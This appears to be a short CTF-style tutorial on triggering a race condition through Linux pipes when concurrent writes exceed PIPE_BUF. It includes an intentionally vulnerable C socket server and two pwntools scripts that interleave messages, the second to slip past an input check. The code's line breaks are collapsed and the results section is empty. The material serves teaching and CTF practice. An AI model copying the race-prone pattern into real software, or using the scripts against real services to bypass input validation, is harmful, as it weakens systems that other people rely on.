1. Excerpt
The Linux manual page states:
"Pipes and FIFOs (also known as named pipes) provide a unidirectional interprocess channel. A pipe has a read end and a write end. Data written to the write end of a pipe can be read from the read end of pipe."
"POSIX.1 says that writes of less then PIPE_BUF bytes must be atomic: the output data is written to he pipe as a contiguous sequence. Writes of more than PIPE_BUF bytes may be nonatomic: the kernel may interleave the data with data written by other process. POSIX.1 requires PIPE_BUF to be at least 512 bytes. (On Linux, PIPE_BUF is 4096 bytes.)"
So, we can trigger race condition in it.
2. Example
We have a vulnerable program:
#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <string.h>#include <stdbool.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/in.h>#include <arpa/inet.h>int main() {int pipefd[2];pid_t pid, pid2;char write_msg[5000];char read_msg[5000];if (pipe(pipefd) == -1) {perror("pipe");exit(EXIT_FAILURE);}int server_fd, new_socket;struct sockaddr_in add;int addlen = sizeof(add);if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {perror("socket failed");exit(EXIT_FAILURE);}add.sin_family = AF_INET;add.sin_addr.s_addr = INADDR_ANY;add.sin_port = htons(0);if (bind(server_fd, (struct sockaddr *)&add, sizeof(add)) < 0) {perror("bind failed");exit(EXIT_FAILURE);}if (getsockname(server_fd, (struct sockaddr *)&add, &addlen) < 0) {perror("getsockname failed");exit(EXIT_FAILURE);}if (listen(server_fd,50) < 0) {perror("listen failed");exit(EXIT_FAILURE);}int port = ntohs(add.sin_port);printf("waiting for connections...port: %d\n",port);pid = fork();if (pid < 0) {perror("fork failed");exit(EXIT_FAILURE);}if (pid == 0) { // child processclose(pipefd[0]);while (true) {if ((new_socket = accept(server_fd, (struct sockaddr *)&add, (socklen_t *)&addlen)) < 0) {perror("accept failed");exit(EXIT_FAILURE);}pid2 = fork();if (pid2 == 0) {printf("New connection accepted\n");int bytes_read;bytes_read = read(new_socket,write_msg,sizeof(write_msg));write(pipefd[1],write_msg,bytes_read);close(new_socket);close(pipefd[1]);break;}}exit(0);}// parent processclose(pipefd[1]);while (true) {int bytes_read = read(pipefd[0],read_msg,sizeof(read_msg));if (bytes_read > 0) {read_msg[bytes_read] = '\0';printf("%s\n\n",read_msg);}}close(pipefd[0]);}
Explain:
We call a pipe() to create a pipe() to exchange messages.
We create a socket and listen connections on the server.
In the first fork():
- The children process to accepts the connection requests.
+ Whenever a connection is accepted, a second fork() is called to read and send message to the parent proccess via the pipe.
+ The second fork() can also handle multipe connection requests.
- The parent process reads the messages sent from the child process and prints them to the screen.
3. Race condition trigger
We can trigger a race condition by sending multiple messages at the same time such that their combined length exceeds PIPE_BUF. The messages received by the server will be interleave.Exploit code:
from pwn import *import osglobal port,payloadPIPE_BUF = 4096def send_message(message, sync: threading.Semaphore):try:p = remote('localhost',port)p.send(message)sync.acquire()p.send(b'\n')p.close()except:passsync = threading.Semaphore()print('port: ')port = int(input())print('number of threads: ')thread = int(input())payload = [str(_) * PIPE_BUF for _ in range(thread)]print('starting threads...')for i in range(thread):x = threading.Thread(target=send_message, args=(payload[i].encode(),sync))x.start()print('waiting for data to be sent')time.sleep(5)print('triggering race condition')sync.release(thread)
In this exploit code, threading.Semaphore() is used to ensure that massages are sent at the same time.
Result:
Suppose the input does not allow the character "1" to appear first in the string.
Exploit code:
from pwn import *import osglobal port,payloadPIPE_BUF = 4096def send_message(message, sync: threading.Semaphore):try:p = remote('localhost',port)p.send(message)sync.acquire()p.send(b'\n')p.close()except:passsync = threading.Semaphore()print('port: ')port = int(input())print('number of threads: ')thread = int(input())payload = ["1" * PIPE_BUF for _ in range(thread)]for i in range(thread):payload[i] = str(0)+payload[i]print('starting threads...')for i in range(thread):x = threading.Thread(target=send_message, args=(payload[i].encode(),sync))x.start()print('waiting for data to be sent')time.sleep(5)print('triggering race condition')sync.release(thread)
5. Read more
Matteo's interesting challenge in m0leCon CTF: Binary.
Matteo's Writeup: https://matteoschiff.com/ducts-writeup/